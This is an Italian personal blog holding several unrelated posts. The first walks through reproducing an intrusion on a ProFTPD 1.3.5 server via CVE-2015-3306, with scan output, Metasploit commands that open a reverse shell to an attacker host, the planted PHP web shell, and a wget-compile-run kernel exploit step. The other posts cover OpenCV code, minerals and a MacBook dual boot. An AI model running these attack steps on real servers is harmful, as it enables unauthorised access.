giovedì 22 febbraio 2018

Compromissione CVE-2015-3306

In questo post racconto una esperienza con un macchina compromessa su cui pero' non ho avuto accesso fisico o di shell perche' non da me amministrata




visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili

wpscan -u http://xxxxxxx --enumerate --log

--------------------------------
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://xxxxxxxxx.it/
[+] Started: Wed Feb 21 10:36:40 2018

[+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt'
[+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php
[!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php
[!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/

[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator
[!] 1 vulnerability identified from the version number

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: cittinfo - v1.0.0

[+] Name: xxxxxxx - v1.0.0
 |  Location: http://xxxxxxxxx.it/wp-content/themes/xxx/
 |  Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt
 |  Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css
 |  Theme Name: xxxxx
 |  Theme URI: https://xxxxxxxxx.it
 |  Description: xxxx
 |  Author: xxxx
 |  Author URI: http://www.xxxx.it

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...


[+] We found 2 plugins:

[+] Name: Ultimate_VC_Addons
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/
 |  Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt
[!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
    Reference: https://wpvulndb.com/vulnerabilities/8821
    Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/
    Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199
[i] Fixed in: 3.16.12

[+] Name: js_composer
 |  Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8208
    Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431
    Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7
[i] Fixed in: 4.7.4

[+] Enumerating installed themes (only ones with known vulnerabilities) ...


[+] No themes found

[+] Enumerating timthumb files ...


[+] No timthumb files found

[+] Enumerating usernames ...
[+] We did not enumerate any usernames

[+] Finished: Wed Feb 21 10:41:01 2018
[+] Requests Done: 4864
[+] Memory used: 136.785 MB
[+] Elapsed time: 00:04:20
--------------------------------
La scansione di Wordpress evidenzia alcuni problemi ma nessun che possa portare ad una compromissione della macchina. Si sa che e' un server Debian con directory listabili sul server apache ed qualche problema di XSS
Passiamo alla scansione dei servizi dove c'e' qualcosa di interessante. Il server FTP mostra una versione vulnerabile

--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET
Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.24s latency).
Not shown: 67 filtered ports, 30 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso

La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi

./configure --with-modules=mod_copy
make
make install

senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare

site help

e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)

ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD

ok il server e' soggetto alla vulnerabilita'.  Ho quindi aperto metasploit (su Kali Linux per semplicita')  con

msfconsole

use exploit/unix/ftp/proftpd_modcopy_exec
show options

set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)

set SITEPATH /var/www/html/xxxxxx/xxxxx/
 (la macchina Debian ha il path della html dir qui)

set TARGETURI /xxxxx/xxxxx

show payloads

use cmd/unix/reverse_perl

set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)

run

nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio

Exploit aborted due to failure: unknown: xxx.xxx.xxx.xxx:21 - Failure copying from /proc/self/cmdline

altrimenti si ha un messaggio del genere

msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100

a questo punto si e' aperta una shell (anche se a video non compare nessun messaggio) e digitando i comandi si puo' interagire con il server remoto

whoami (si ha come risposta www-data)
ifconfig 
uname -a

nel webserver troveremo il nuovo file 2jXgD.php con questo contenuto
proftpd: xxx.xxx.xxx.xxx:36289: SITE CPTO /tmp/.<?php passthru($_GET['4PuZG']);?>msf exploit(unix/ftp/proftpd_modcopy_exec) > 

una volta entrati nel server il passo successivo e' quello di fare una scalata dei privilegi locali
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4  si puo' tentare questa strada

 wget https://www.exploit-db.com/download/43029.c

gcc 43029.c

./a.out ....

mercoledì 21 febbraio 2018

Microcopio USB su Android

Ho provato ad usare il telefono Android come piccolo microscopio portatile accompiandolo via USB/OTG


Per fare questa operazione e' necessario che il firmware Android del telefono abbia compilato il modulo v4l (video for Linux) in caso contrario non sara' possibile fare niente


Nonostante il costo ridicolo del microscopio (a cui aggiungere l'adattatore OTG) il tutto funziona sorprendentemente bene

Actinolite e Tremolite ad Impruneta

Avvertimento : l'actinolite appartiene alla famiglia dell'asbesto e quindi e' potenzialmente sorgente di fibre che possono generare malattie cancerogene quali il mesotelioma. Da gestire in condizioni di sicurezza 

Avvertimento : i dati sotto riportati sono relativi solo ad osservazioni. Non ho possibilita' di effettuare determinazione analitiche o al SEM per avere conferma della determinazione.
-----------------------------------------------------



Affioramento Sassi Neri Impruneta lungo la strada che collega a Strada in Chianti

L'actinolite e' un anfibolo  parente stretto della tremolite (cui si differenzia solo per la differente percentuale di sostituzione tra Mg e Fe). La formula completa, sia di tremolite che di actinolite, e'
Ca2(Mg,Fe2+)5Si8O22(OH)2

Gli anfiboli contenenti Ca sono tipici delle rocce ultrafemiche

Per i riferimenti di minerologia si rimanda a Mindat

A livello di affioramento l'unico indicatore e' dato dal colore che risulta essere verde tendente al nero per l'actinolite mentre e' bianco per la tremolite. Mentre nel campione 1 sembra che vi sia solo actinolite nel campione 2 potrebbe esservi sia tremolite che actinolite

Colpendo con il martello (cosa da non fare ma mi e' scappato un colpo) il colore diventa bianco

Tutte le mineralizzazioni si presentano con accrescimenti lungo la superficie di frattura e non ortogonali alla stessa.
Nel campione 1 l'aspetto dell'actinolite e' piu' massivo. Si nota la direzione di accrescimento ma non si notano in modo evidente la separazione tra i diversi cristalli lungo l'asse maggiore.

Campione 1

Campione 1

Campione 2
Alcuni ingrandimenti con un microscopio USB a 50X (circa). In affioramento con la lentina da 20x la struttura e' comunque evidente



Dettagli Campione 1







Dettagli Campione 2








Da notare che in alcune zone del campione al microscopio si nota una estesa presenza di fori nella zona esposta all'alterazione meteorica dell'affioramento...non ho idea se si tratti di azione di piante od animali

Sono presenti anche campioni di serpentino ma non ho visto presenza di crisotilo alla scala di affioramento

Campione 3






giovedì 15 febbraio 2018

Esperimenti con filtri Canny ed Hough Lines con OpenCV







----------------------------------------------------------------------------------------------





----------------------------------------------------------------------------------------------
import cv2
import numpy as np
from matplotlib import pyplot as plt

img = cv2.imread('casa.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# parametri automatici Canny
#ret,th = cv2.threshold(gray,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)
#edges = cv2.Canny(img,ret,ret*0.5)

v = np.median(gray)
sigma = 0.3
lower = int(max(0,(1.0-sigma)*v))
upper = int(max(0,(1.0+sigma)*v))

print lower
print upper

edges = cv2.Canny(img,lower,upper)

cv2.imwrite('canny_casa.jpg',edges)


lines = cv2.HoughLines(edges,1.5,np.pi/180,370)
for rho,theta in lines[0]:
    a = np.cos(theta)
    b = np.sin(theta)
    x0 = a*rho
    y0 = b*rho
    x1 = int(x0 + 1000*(-b))
    y1 = int(y0 + 1000*(a))
    x2 = int(x0 - 1000*(-b))
    y2 = int(y0 - 1000*(a))

    cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)

cv2.imwrite('risultato_casa.jpg',img)



martedì 13 febbraio 2018

Dual boot Ubuntu su MacBook

Avevo gia' messo in dual boot MacOs X con Ubuntu su un MacBook qualche anno fa ma non mi ero appuntato la procedura e cosi' ho dovuto reimparare da capo..questa volta scrivo qui i passi.

Il Mac parte tranquillamente da una normale Ubuntu Live 16.04.03 mettendo la penna USB e premendo il tasto Option al boot.


Invece di fare partire l'installer ho lanciato GParted (che e' compreso nella live) per ridurre la dimensione della partizione OSX e lasciare posto a Ubuntu creando le due partizioni di root e di swap. A questo punto si lancia l'installer e fa tutto in automatico...anche troppo...infatti quando ho visto che installava Grub senza chiedermi niente ho capito di essere nei guai.
Al riavvio successivo infatti e' partita in automatico Ubuntu senza possibilita' di scegliere Linux...attimo di panico e riavvio premendo il tasto Option ha fatto vedere la partizione MacOsx

E' arrivato il momento di aggiungere rEFInd, il boot manager, ma prima dovevo disabilitare SIP (crutil disable), operazione di effettua dalla modalita' Recovery di Mac....tranne per il fatto che il computer non ne voleva sapere di Command+R. Ho scoperto dopo un po' di prove che priva dovevo selezionare la partizione Mac con Option e poi dare Command+R per entrare in Recovery



Fatto cio' ed montato rEFInd l'ultimo problema e' stato quello di configurare la scheda WiFi di Ubuntu con

sudo apt-get update
sudo apt-get install firmware-b43-installer
mancherebbe da settare la retroilluminazione della tastiera ma per questo dettaglio c'e' tempo

lunedì 12 febbraio 2018

Realtime Hough Lines con OpenCV su Android

L'idea e' quella di utilizzare OpenCV per estrarre le linee in realtime dalle immagini riprese dalla fotocamera del telefono



Dopo avere impostato un nuovo progetto OpenCV su Android come visto qui ho modificato il secondo esempo (mixed_sample)

Un po' di commenti
1) il flusso di lavoro prevede di prendere l'immagine dalla fotocamera, convertirla in scala di grigi, applicare il filtro Canny, applicare l'algoritmo delle Hough Lines,  selezionare solo le linee maggiore di un valore limite (altrimenti l'algoritmo diventa rumoroso), calcolare il coefficiente angolare di ogni linea per creare 5 classi angolari (-90°/-60°,-60°/-30°,-30°/0°,0°/30°,30°/60°,60°/90°),  popolare una textbox in altro a sinistra con i valori delle classi,sovrapporre le Hough Lines all'immagine RGB (Img.procline) e mostrare il tutto sullo schermo

2) per poter modificare la textbox si deve procedere mediante RunonUIThread




uno dei problemini che si hanno usando i filtri con i parametri cosi' come sono impostati e' che
in scene reali complesse, il filtro canny puo' comportarsi in questo modo


rendendo totalmente inutile la ricerca delle houghlines. Per risolvere questo problema possono essere calcolati i valori di threshold in modo automatico dalla deviazione media dell'immagine come segue

MatOfDouble mu = new MatOfDouble();
MatOfDouble sigma = new MatOfDouble();

Core.meanStdDev(inputFrame.gray(),mu,sigma);

Mat lines = new Mat();
Imgproc.Canny(inputFrame.gray(), mIntermediateMat, mu.get(0,0)[0] - sigma.get(0,0)[0], mu.get(0,0)[0] - sigma.get(0,0)[0]); 

per fare le cose in modo piu' pulito possono essere usate le funzioni di OpenCV come il filtro adattativo

Imgproc.adaptiveThreshold(inputFrame.gray(),result,255,
Imgproc.ADAPTIVE_THRESH_GAUSSIAN_C,Imgproc.THRESH_OTSU,15,4)


Layout
---------------------------------
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"    
xmlns:tools="http://schemas.android.com/tools"   
 xmlns:opencv="http://schemas.android.com/apk/res-auto"  
  android:layout_width="match_parent"    
android:layout_height="match_parent" >

    <org.opencv.android.JavaCameraView        
android:layout_width="fill_parent"        
android:layout_height="fill_parent"        
android:visibility="gone"        
android:id="@+id/tutorial1_activity_java_surface_view"        
opencv:show_fps="true"        
opencv:camera_id="any" />

    <LinearLayout        
android:layout_width="match_parent"        
android:layout_height="match_parent"        
android:orientation = "vertical" >

        <TextView            
android:layout_width="wrap_content"            
android:layout_height="wrap_content"            
android:id="@+id/fps_text_view"            
android:textSize="12sp"
            android:text="FPS:" />

    </LinearLayout>



</FrameLayout>
---------------------------------
Codice
---------------------------------

import android.app.Activity;
import android.graphics.Color;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.SurfaceView;
import android.view.WindowManager;
import android.widget.TextView;

import org.opencv.android.OpenCVLoader;

import org.opencv.android.BaseLoaderCallback;
import org.opencv.android.CameraBridgeViewBase.CvCameraViewFrame;
import org.opencv.android.LoaderCallbackInterface;
import org.opencv.core.CvType;
import org.opencv.core.Mat;
import org.opencv.android.CameraBridgeViewBase;
import org.opencv.android.CameraBridgeViewBase.CvCameraViewListener2;
import org.opencv.core.Point;
import org.opencv.core.Scalar;
import org.opencv.imgproc.Imgproc;

import java.util.function.DoubleToLongFunction;

public class MainActivity extends Activity implements CvCameraViewListener2 {

    private static final String    TAG = "OCVSample::Activity";

    private static final int       VIEW_MODE_RGBA     = 0;
    private static final int       VIEW_MODE_GRAY     = 1;
    private static final int       VIEW_MODE_CANNY    = 2;
    private static final int       VIEW_MODE_FEATURES = 5;
    private static final int       VIEW_MODE_HOUGH = 3;


    private int                    mViewMode;
    private Mat                    mRgba;
    private Mat                    mIntermediateMat;
    private Mat                    mGray;

    private MenuItem               mItemPreviewRGBA;
    private MenuItem               mItemPreviewGray;
    private MenuItem               mItemPreviewCanny;
    private MenuItem               mItemPreviewFeatures;

    private CameraBridgeViewBase   mOpenCvCameraView;

    int [] classi = new int[10];


    int threshold = 50;
    int minLineSize = 20;
    int lineGap = 10;


    private BaseLoaderCallback  mLoaderCallback = new BaseLoaderCallback(this) {
        @Override        public void onManagerConnected(int status) {
            switch (status) {
                case LoaderCallbackInterface.SUCCESS:
                {
                    Log.i(TAG, "OpenCV loaded successfully");

                    mOpenCvCameraView.enableView();
                } break;
                default:
                {
                    super.onManagerConnected(status);
                } break;
            }
        }
    };
    private TextView testo;


    /** Called when the activity is first created. */    @Override    public void onCreate(Bundle savedInstanceState) {
        Log.i(TAG, "called onCreate");
        super.onCreate(savedInstanceState);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);

        setContentView(R.layout.activity_main);

        testo = (TextView) findViewById(R.id.fps_text_view);
        testo.setTextColor(Color.RED);


        mOpenCvCameraView = (CameraBridgeViewBase) findViewById(R.id.tutorial1_activity_java_surface_view);
        mOpenCvCameraView.setVisibility(CameraBridgeViewBase.VISIBLE);
        mOpenCvCameraView.setCvCameraViewListener(this);
        mViewMode = VIEW_MODE_HOUGH;
    }

    @Override    public boolean onCreateOptionsMenu(Menu menu) {
        Log.i(TAG, "called onCreateOptionsMenu");
        mItemPreviewRGBA = menu.add("Preview RGBA");
        mItemPreviewGray = menu.add("Preview GRAY");
        mItemPreviewCanny = menu.add("Canny");
        mItemPreviewFeatures = menu.add("Find features");
        return true;
    }

    @Override    public void onPause()
    {
        super.onPause();
        if (mOpenCvCameraView != null)
            mOpenCvCameraView.disableView();
    }

    @Override    public void onResume()
    {
        super.onResume();
        if (!OpenCVLoader.initDebug()) {
            Log.d(TAG, "Internal OpenCV library not found. Using OpenCV Manager for initialization");
            OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_3_0_0, this, mLoaderCallback);
        } else {
            Log.d(TAG, "OpenCV library found inside package. Using it!");
            mLoaderCallback.onManagerConnected(LoaderCallbackInterface.SUCCESS);
        }
    }

    public void onDestroy() {
        super.onDestroy();
        if (mOpenCvCameraView != null)
            mOpenCvCameraView.disableView();
    }

    public void onCameraViewStarted(int width, int height) {
        mRgba = new Mat(height, width, CvType.CV_8UC4);
        mIntermediateMat = new Mat(height, width, CvType.CV_8UC4);
        mGray = new Mat(height, width, CvType.CV_8UC1);
    }

    public void onCameraViewStopped() {
        mRgba.release();
        mGray.release();
        mIntermediateMat.release();
    }

    public static boolean isBetween(double x, double lower, double upper) {
        return lower <= x && x <= upper;
    }


    public Mat onCameraFrame(CvCameraViewFrame inputFrame) {
        final int viewMode = mViewMode;
        switch (viewMode) {
            case VIEW_MODE_GRAY:
                // input frame has gray scale format                
               Imgproc.cvtColor(inputFrame.gray(), mRgba, Imgproc.COLOR_GRAY2RGBA, 4);
                break;
            case VIEW_MODE_RGBA:
                // input frame has RBGA format                
               mRgba = inputFrame.rgba();
                break;
            case VIEW_MODE_CANNY:
                // input frame has gray scale format                mRgba = inputFrame.rgba();
                Imgproc.Canny(inputFrame.gray(), mIntermediateMat, 80, 100);
                Imgproc.cvtColor(mIntermediateMat, mRgba, Imgproc.COLOR_GRAY2RGBA, 4);


                break;
            case VIEW_MODE_HOUGH:

                mRgba = inputFrame.rgba();

                Mat lines = new Mat();
                Imgproc.Canny(inputFrame.gray(), mIntermediateMat, 80, 100);
                Imgproc.HoughLinesP(mIntermediateMat,lines, 1, Math.PI/180, threshold,minLineSize, lineGap);


                Log.d("Linee", Integer.toString(lines.rows()));



                for (int x = 0; x < lines.rows(); x++) {
                    double[] vec = lines.get(x, 0);
                    double x1 = vec[0],
                            y1 = vec[1],
                            x2 = vec[2],
                            y2 = vec[3];
                    Point start = new Point(x1, y1);
                    Point end = new Point(x2, y2);
                    double dx = x1 - x2;
                    double dy = y1 - y2;

                    double m = Math.toDegrees(Math.atan(dy / dx));
                    Log.d("Angolo", Double.toString(m));

                    double dist = Math.sqrt(dx * dx + dy * dy);
                    Log.d("Distanza", Double.toString(dist));


                    //calcola le classi in base all'angolo del coefficiente angolare
                    if (dist > 50.d)                    {
                                if (isBetween(m, -90.0, -60.0)) {
                                    classi[0] = classi[0] + 1;
                                }

                                if (isBetween(m, -60.0, -30.0)) {
                                    classi[1] = classi[1] + 1;
                                }


                                if (isBetween(m, -30.0, 0.0)) {
                                    classi[2] = classi[2] + 1;
                                }

                                if (isBetween(m, 0.0, 30.0)) {
                                    classi[3] = classi[3] + 1;
                                }

                                if (isBetween(m, 30.0, 60.0)) {
                                    classi[4] = classi[4] + 1;
                                }

                                if (isBetween(m, 60.0, 90.0)) {
                                    classi[5] = classi[5] + 1;
                                }
                        //sovrappone le Hough Lines
                        Imgproc.line(mRgba, start, end, new Scalar(255,0, 0, 1),2);
                }


                 

                }



                break;
            case VIEW_MODE_FEATURES:
                // input frame has RGBA format                mRgba = inputFrame.rgba();
                mGray = inputFrame.gray();
                break;
        }


        runOnUiThread(new Runnable() {
            @Override            public void run() {
                testo.setText(" -90/-60 "+Integer.toString(classi[0])+"\n" +
                              " -60/-30 "+Integer.toString(classi[1])+"\n" +
                              " -30/0   "+Integer.toString(classi[2])+"\n" +
                              "   0/30  "+Integer.toString(classi[3])+"\n" +
                              "  30/60  "+Integer.toString(classi[4])+"\n" +
                              "  60/90  "+Integer.toString(classi[5])+"\n"
                );
            }
        });

        return mRgba;
    }

    public boolean onOptionsItemSelected(MenuItem item) {
        Log.i(TAG, "called onOptionsItemSelected; selected item: " + item);

        if (item == mItemPreviewRGBA) {
            mViewMode = VIEW_MODE_RGBA;
        } else if (item == mItemPreviewGray) {
            mViewMode = VIEW_MODE_GRAY;
        } else if (item == mItemPreviewCanny) {
            mViewMode = VIEW_MODE_CANNY;
        } else if (item == mItemPreviewFeatures) {
            mViewMode = VIEW_MODE_FEATURES;
        }

        return true;
    }


}
---------------------------------

Opencv Android SDK su Android Studio

per utilizzare OpenCV su Android mediante l'SDK si procede prima scaricando il voluminoso pacchetto (sono oltre 300 Mb ma sono contenuti gli apk di tutte le applicazioni demo, la documentazione e le librerie compilate per differenti piattaforme hardware)

A questo punto da Android Studio (devono esserer gia' installati NDK e CMake) si crea un normale progetto ... poi /File/New/Import Module e si cerca la directory nell'SDK opencv/sdk/java

Si deve poi editare il file opencv/build.gradle

CompileSDKVersion 23
buildToolsVersion "23.0.2"
TargetSDKVersion 23

fatto cio' si mette la visualizzazione dell'albero di destra (in Project Files) si seleziona Android/App/tasto destro/Open Module Settings/Dependecies/tasto +/Module Dependencies/ e si seleziona OpenCV Library


si va poi in App/New/Folder/JNIFolder/Change Folder Location e si seleziona /src/main/jniLibs

si apre il folder e si copiano tutte le sottodirectories dall'SDK opncv/sdk/native/libs/ cancellando poi cio' che non e' *.so

Per provare se se le cose funzionavano ho provato ad usare il secondo esempio dell'SDK (quello che implementa il filtro Canny in realtime) ed il programma di esempio si ostinava a non funzionare. Dopo un po' di tempo perso a pigiare tasti ho scoperto che commentando la riga

System.loadLibrary("mixed_sample")

tutto funziona correttamente


Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...